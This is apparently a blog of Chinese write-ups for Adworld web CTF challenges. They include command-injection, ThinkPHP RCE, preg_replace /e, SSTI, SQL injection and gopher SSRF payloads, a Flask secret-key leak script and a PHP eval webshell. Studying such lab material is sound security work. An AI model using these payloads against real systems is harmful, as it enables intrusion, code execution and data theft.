攻防世界题目练习

WEB

unseping

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);

class ease{

private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

}
$a=array('a'=>'ca""t${IFS}f*$(printf${IFS}"\57")f""lag_831b69012c67b35f.ph""p');
$b=new ease("ping",$a);
$c=serialize($b);
$d=base64_encode($c);
echo $d;
?>

catcat-new

随机点开一个小猫。发现可以读文件,尝试读取一下,成功

image-20240204171905713

源码查看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"): # 导入flag文件并删除掉
flag = cat("/flag")
os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])

return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"]) # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"


if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)

session的key是随机的,后面拼接了abcdefgh,

lask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。先读取/proc/self/maps文件获取可读内容的内存映射地址。

info?file=../../../proc/self/maps

破解脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# coding=utf-8
#----------------------------------
###################################
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface


url = "http://61.147.171.105:65402/"

#此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')

#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key

class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
#Encode a Flask session cookie
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
#请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
#匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)

#设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
#用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
#正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break

跑到之后脚本解密加密,替换上访问/admin得到flag

web2

让你写个逆向小脚本解密,对我来说有点费劲。。。。唉,我的算法。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($miwen){
$a = strrev(base64_decode(strrev(str_rot13($miwen))));
$decoded = "";
for($_0=0;$_0<strlen($a);$_0++){
$_c=substr($a,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$decoded = $decoded.$_c;

}
$a=strrev($decoded);
return $a;
}

echo decode($miwen);
?>

xff_referer

image-20240204203009062

command_execution

127.0.0.1|cat /home/f*

php_rce

thinkphpV5漏洞复现

1
http://61.147.171.105:50484/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /fl*

ez_curl

开题,一大串代码,一开始我还好奇,传参点呢????有个php://input可以结合POSt传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
$offset = stripos($headers[$i], ':');
$key = substr($headers[$i], 0, $offset);
$value = substr($headers[$i], $offset + 1);
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
try hard1

app.js看了附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
});

app.listen({ port: port , host: '0.0.0.0'});

先分析一下源代码

$headers = (array)json_decode($input)->headers把post过去的数据解码成数组,很明显post的内容就是http请求里的headers,写post数据的时候要写成json的形式。像这样:

1
{"headers": ["admin:true"]}

结合源码和附件只有是admin才能得到flag,但是这咋搞啊

https://blog.csdn.net/aa2528877987/article/details/131189077后面看了愚公系列了解到这是js的express魔板

其中之一是参数解析,它允许开发者解析HTTP请求中的参数。Express提供了许多选项来配置参数解析。其中之一是parameterLimit选项。

parameterLimit选项用于指定query string或者request payload的最大数量。默认情况下,它的值是1000。如果你的应用程序需要解析大量的查询字符串或者请求负载,你可能需要增加这个限制。例如,如果你的应用程序需要处理非常长的查询字符串,你可以将parameterLimit设置为一个更高的值。
以下是一个示例,演示如何使用parameterLimit选项来增加query string和request payload的限制:

1
2
3
4
5
6
const express = require('express')
const app = express()

// 将parameterLimit设置为10000
app.use(express.json({ parameterLimit: 10000 }))
app.use(express.urlencoded({ parameterLimit: 10000, extended: true }))

在上面的代码中,我们将parameterLimit设置为10000。这将允许我们解析更大的请求负载和查询字符串。

需要注意的是,如果你将parameterLimit设置为一个非常高的值,可能会导致安全问题。攻击者可以发送恶意请求,包含大量参数,导致服务器崩溃。因此,你应该谨慎地设置参数限制,并确保你的应用程序具有有效的安全措施,以防止此类攻击。
也就是说express模板有payload上限,跟php正则差不多

第一点:来自源代码的这一行。结合这篇文章的分析,当我们传入的参数超过1000个时,之后的参数会被舍弃掉。于是这里我们最开始发个”admin”:”t”设置好admin的值,加上999个没用的参数,把程序拼接的&admin=false挤掉,即可绕过过滤。

第二点:header 字段可以通过在每一行前面至少加一个SP 或 HT 来扩展到多行。以此绕过对 headers 的过滤最终的post的内容:

1
{"headers": ["admin: x", " true: y"]}

这样写可以绕过php代码中的die(“try hard”)

该headers在nodejs解析的时候,会得到如下数据:

1
2
3
{
"admin": "x true y"
}

写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import json

import requests

url="http://61.147.171.105:51381/"
data={"headers": ["xx:xx\nadmin: true","Content-Type: application/json"],
"params":{"admin":"true"}}
for i in range(1000):
data["params"]["x"+str(i)]=i
headers={
"Content-Type": "application/json"
}
json1=json.dumps(data)
print(json1)
response=requests.post(url,headers=headers,data=json1)
print(response.content)

ezbypass-cat

目录穿越

上来一个登陆界面我以为弱口令啥的

发现是目录穿越

image-20240221152741904

mfw

开局发现about存在git+php,猜测大概率有git泄露

image-20240221163207779

访问.git果真存在,githack下载

image-20240221163328569

查看index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

存在assert代码执行命令哇,assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

传入page给file,这里闭合一下传入’) or system(“cat templates/flag.php”);//

闭合为assert("strpos('$file') or system("cat templates/flag.php");// '..') === false") or die("Detected hacking attempt!");

源码得flag

wife_wife

image-20240222183716011

原型链污染

Cat

做攻防世界的题有学到了新东西

开题以为让输入url,猜测命令执行管道符或者ssrf啥的

image-20240222205909604

image-20240222205949444

尝试后面拼接;|& &&都不行后面fuzz字符一下

只有@字符可以用

image-20240222210615003

且当输入@时,会将@编码为%40

这里不会做了

看了wp需要输入宽字符%bf在url出输入

image-20240222210800610

报了一串错,拉出来本地生成html文件看看(这里只截取一部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="robots" content="NONE,NOARCHIVE">
<title>UnicodeEncodeError at /api/ping</title>
<style type="text/css">
html * { padding:0; margin:0; }
body * { padding:10px 20px; }
body * * { padding:0; }
body { font:small sans-serif; }
body>div { border-bottom:1px solid #ddd; }
h1 { font-weight:normal; }
h2 { margin-bottom:.8em; }
h2 span { font-size:80%; color:#666; font-weight:normal; }
h3 { margin:1em 0 .5em 0; }
h4 { margin:0 0 .5em 0; font-weight: normal; }
code, pre { font-size: 100%; white-space: pre-wrap; }
table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; }
tbody td, tbody th { vertical-align:top; padding:2px 3px; }
thead th {
padding:1px 6px 1px 3px; background:#fefefe; text-align:left;
font-weight:normal; font-size:11px; border:1px solid #ddd;
}
tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; }
table.vars { margin:5px 0 2px 40px; }
table.vars td, table.req td { font-family:monospace; }
table td.code { width:100%; }
table td.code pre { overflow:hidden; }
table.source th { color:#666; }
table.source td { font-family:monospace; white-space:pre; border-bottom:1px solid #eee; }
ul.traceback { list-style-type:none; color: #222; }
ul.traceback li.frame { padding-bottom:1em; color:#666; }
ul.traceback li.user { background-color:#e0e0e0; color:#000 }
div.context { padding:10px 0; overflow:hidden; }
div.context ol { padding-left:30px; margin:0 10px; list-style-position: inside; }
div.context ol li { font-family:monospace; white-space:pre; color:#777; cursor:pointer; padding-left: 2px; }
div.context ol li pre { display:inline; }
div.context ol.context-line li { color:#505050; background-color:#dfdfdf; padding: 3px 2px; }
div.context ol.context-line li span { position:absolute; right:32px; }
.user div.context ol.context-line li { background-color:#bbb; color:#000; }
.user div.context ol li { color:#666; }
div.commands { margin-left: 40px; }
div.commands a { color:#555; text-decoration:none; }
.user div.commands a { color: black; }
#summary { background: #ffc; }
#summary h2 { font-weight: normal; color: #666; }
#explanation { background:#eee; }
#template, #template-not-exist { background:#f6f6f6; }
#template-not-exist ul { margin: 0 0 10px 20px; }
#template-not-exist .postmortem-section { margin-bottom: 3px; }
#unicode-hint { background:#eee; }
#traceback { background:#eee; }
#requestinfo { background:#f6f6f6; padding-left:120px; }
#summary table { border:none; background:transparent; }
#requestinfo h2, #requestinfo h3 { position:relative; margin-left:-100px; }
#requestinfo h3 { margin-bottom:-1em; }
.error { background: #ffc; }
.specific { color:#cc3300; font-weight:bold; }
h2 span.commands { font-size:.7em;}
span.commands a:link {color:#5E5694;}
pre.exception_value { font-family: sans-serif; color: #666; font-size: 1.5em; margin: 10px 0 10px 0; }
.append-bottom { margin-bottom: 10px; }
</style>

<script type="text/javascript">
//<!--
function getElementsByClassName(oElm, strTagName, strClassName){
// Written by Jonathan Snook, http://www.snook.ca/jon; Add-ons by Robert Nyman, http://www.robertnyman.com
var arrElements = (strTagName == "*" && document.all)? document.all :
oElm.getElementsByTagName(strTagName);
var arrReturnElements = new Array();
strClassName = strClassName.replace(/\-/g, "\-");
var oRegExp = new RegExp("(^|\s)" + strClassName + "(\s|$)");
var oElement;
for(var i=0; i<arrElements.length; i++){
oElement = arrElements[i];
if(oRegExp.test(oElement.className)){
arrReturnElements.push(oElement);
}
}
return (arrReturnElements)
}
function hideAll(elems) {
for (var e = 0; e < elems.length; e++) {
elems[e].style.display = 'none';
}
}
window.onload = function() {
hideAll(getElementsByClassName(document, 'table', 'vars'));
hideAll(getElementsByClassName(document, 'ol', 'pre-context'));
hideAll(getElementsByClassName(document, 'ol', 'post-context'));
hideAll(getElementsByClassName(document, 'div', 'pastebin'));
}
function toggle() {
for (var i = 0; i < arguments.length; i++) {
var e = document.getElementById(arguments[i]);
if (e) {
e.style.display = e.style.display == 'none' ? 'block': 'none';
}
}
return false;
}
function varToggle(link, id) {
toggle('v' + id);
var s = link.getElementsByTagName('span')[0];
var uarr = String.fromCharCode(0x25b6);
var darr = String.fromCharCode(0x25bc);
s.textContent = s.textContent == uarr ? darr : uarr;
return false;
}
function switchPastebinFriendly(link) {
s1 = "Switch to copy-and-paste view";
s2 = "Switch back to interactive view";
link.textContent = link.textContent.trim() == s1 ? s2: s1;
toggle('browserTraceback', 'pastebinTraceback');
return false;
}
//-->
</script>

说是django报错页面,看来是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码范围)。

到这一步后,联系到前面的@字符没有被过滤,然后看了大佬们的解题思路(这里太坑了,原题目上其实是由提示的)

image-20240222211016951

可以利用@读取文件

前面报错爆出了路径

image-20240222211554107

看到有数据库选项

image-20240222211646144

结合@读取一下试试

@/opt/api/database.sqlite3

Ctrl+f一下找到lflag

1
WHCTF{yoooo_Such_A_G00D_@}

FlatScience

开题

image-20240223115119550

发现存在url,点进去看看,点点发现存在套娃,还有论文可以看。。。

后边扫了一下目录

image-20240223115248040

发现robots.txt

访问提示是admin.php和login.php

不多说直接进入admin.php先看看

image-20240223115403712

源码显示登录是不可能绕过的

随后转到login.php发现源码有提示,存在debug

image-20240223120552121

image-20240223120641957

出现了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];

$db = new SQLite3('../fancy.db');

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}

if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

sql注入试试

1
python3 sqlmap.py -r 1.txt -tables Users -dump -batch

爆的慢死了

image-20240223130907128

手动试试吧

小tips

1
2
sqlite数据库有一张sqlite_master表,
里面有type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息

下雪了出去推了个雪人,回来一看跑完了啊哈哈哈哈

image-20240223134647561

+—-+——————————-+——–+——————————————+
| id | hint | name | password |
+—-+——————————-+——–+——————————————+
| 1 | my fav word in my fav paper?! | admin | 3fab54a50e770d830c0416df817567662a9dc85c |
| 2 | my love is…? | fritze | 54eae8935c90f467427f05e4ece82cf569f89507 |
| 3 | the password is password | hansi | 34b0bb7c304949f9ff2fc101eef0f048be10d3bd |
+—-+——————————-+——–+——————————————+

看这个意思好像要回答问题

三个hint翻译过来后边MD5解密https://www.somd5.com/

image-20240223142203053

看网上wp要读取pdf然后转txt在TXT文档里找合适单词拼接Salz等于https://www.somd5.com/

大佬脚本我用了行不通贴一下吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import urllib.request
import re
import os


def getHtml(url):
page = urllib.request.urlopen(url)
html = page.read()
page.close()
return html


def getPdfUrl(html):
global url
reg = r'href="(.+?\.pdf)"'
url_re = re.compile(reg)
url_list = url_re.findall(html.decode('utf-8'))
for i in range(len(url_list)):
url_list[i] = url[:-10] + url_list[i]
return url_list


def getUrl(html):
global url
reg = r'href="(.+?\.html)"'
url_re = re.compile(reg)
new_url = url[:-10] + url_re.findall(html.decode('utf-8'))[0]
if '../' in new_url:
return False
else:
url = new_url
return True


def getFile(url):
file_name = url.split('/')[-1]
u = urllib.request.urlopen(url)
f = open(file_name, 'wb')

block_sz = 8192
while True:
buffer = u.read(block_sz)
if not buffer:
break

f.write(buffer)
f.close()
print("Sucessful to download" + " " + file_name)


if __name__ == "__main__":
url = "http://61.147.171.105:65181/index.html"
if os.path.exists('pdf_download'):
pass
else:
os.mkdir('pdf_download')
os.chdir(os.path.join(os.getcwd(), 'pdf_download'))

FLAG = True
while (FLAG):
html = getHtml(url)
url_list = getPdfUrl(html)
for i in url_list:
getFile(i)
if getUrl(html):
pass
else:
FLAG = False
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_2_text(path):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
interpreter = PDFPageInterpreter(rsrcmgr, device)
with open(path, 'rb') as fp:
for page in PDFPage.get_pages(fp, set()):
interpreter.process_page(page)
text = retstr.getvalue()
device.close()
retstr.close()
return text


def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print "Searching word in " + i
pdf_text = convert_pdf_2_text(i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
print "Find the password :" + word
exit()

if __name__ == "__main__":
find_password()

ics-05

开题乱点一通,发现只有设备维护中心能点开

image-20240225122354507

查看源码发现有一个?page=image-20240225122504258

尝试读取index.php

?page=php://filter/convert.base64-encode/resource=index.php

得到页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>

<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;

table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}





?>

</body>

</html>

传参只要包含index.php才能include

image-20240225122631407

看到这里一眼正则匹配e模式

1
2
3
4
5
6
7
8
9
10
11
12
GET /index.php?pat=/(\S*)/e&rep=system("cat%20s*/f*/f*")&sub=1 HTTP/1.1
Host: 61.147.171.105:53794
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
X-FORWARDED-FOR:127.0.0.1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1708498732; PHPSESSID=6imq8qel0i5qkj4k2k2bonl230
Upgrade-Insecure-Requests: 1


lottery

开局让我凭运气拿钱,一看就是拿钱去买flag得抓包发包

image-20240226093929009

2次就够买flag得了

easytornado

一眼框架tornddo(龙卷风)

开局3个选个选择

/flag.txt:black_flag:flag在/fllllllllllllag

/welcome.txt:render(渲染)

/hints.txt:md5(cookie_secret+md5(filename))

看这3个文本文件的时候发现url有问题image-20240226102242618

是文件名加md5好像是

加上hins.txt里写的,更加确信了

我们需要先找到cookie_sercet,先尝试文件名输入/fllllllllllllag,出现报错image-20240226102423168

模板注入必须通过传输型如的执行命令

尝试了几次是模板注入无疑了

image-20240226102526499

爆cookie_secret
error?msg={{handler.settings}},得到

image-20240226102537994

image-20240226102550092

按到读/fllllllllllllag的MD5

1
http://61.147.171.105:56021/file?filename=/fllllllllllllag&filehash=9808e887b64268b130754aa0795513e3

shrine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

1
http://61.147.171.105:60346/shrine/{{url_for.__globals__['current_app'].config}}

very_easy_sql

ssrf+groper伪协议+sql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import urllib.parse
import base64
host = "127.0.0.1:80"
#查库
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"

#查表
#payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #"
#查列名
#payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
#查内容
#payload = "admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #"
#payload = "admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

fakebook

进入题目,首先创建一个用户,进入到该用户view界面

扫目录发现robots.txt

得到user.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

测试发现存在sql注入漏洞

1
2
3
4
5
6
1 order by 1,2,3,4,5#  测得列为4列
1 union/**/select 1,2,3,4 # 显位点在2
2 union/**/select 1,database(),3,4 # 得到数据库fakebook
2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"# 得到列名users
2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"# 得到数据名
2 union/**/select 1,group_concat(data),3,4 from users# 得到字段值

image-20240226132729256得到一串反序列化数值,跟刚刚源码对上了,好像对join后的反序列化存入数据库

看给的源码一眼ssrf漏洞打file读flag

image-20240226133441381

源码flag

1
2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

看大佬博客发现一个nb的做法前面查库的时候看看权限是啥

发现是root

image-20240226133613491

可以利用load_file()函数加载文件

源码可以直接看到

题目名称-文件包含

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
1
?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

Confusion1

image-20240227145135057

开局抽象蛇缠象

想了一下好像是python(蟒蛇)和php(大象)

乱点一通发现login和register全是404

image-20240227145330320

发现存在ssti

尝试了一番好像过滤了class,base啥的,挺多的

image-20240227145730344

首页源码发现访问试试

image-20240227145801658

发现flag存在位置,ssti继续构造

bug

进入页面先注册一个用户,发现存在uID,我是5

image-20240229195600382登录之后发现cookie user有些可疑

image-20240229195625641

测试发现是UID:用户名

那admin应该是1喽

image-20240229195731287

1
2
1:admim
4b9987ccafacb8d8fc08d22bbca797ba

替换原有cookie记得把UID换成1image-20240229200621708

拿到admin的信息,去修改密码

登陆成功之后想要manage发现ipnotallow

伪造ip呗,xff

1
X-Forwarded-For: 127.0.0.1

image-20240229201109958

不知道该干嘛了,看看源码发现

image-20240229201135637

do=upload

不知道为啥改了后缀为php4就出了

1
2
GIF89a
<script language="pHp">@eval($_POST['1'])</script>

image-20240229201522292

ics-07

开局同ics-05一顿乱点,进入到了index.php,提示给了view-source.php

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
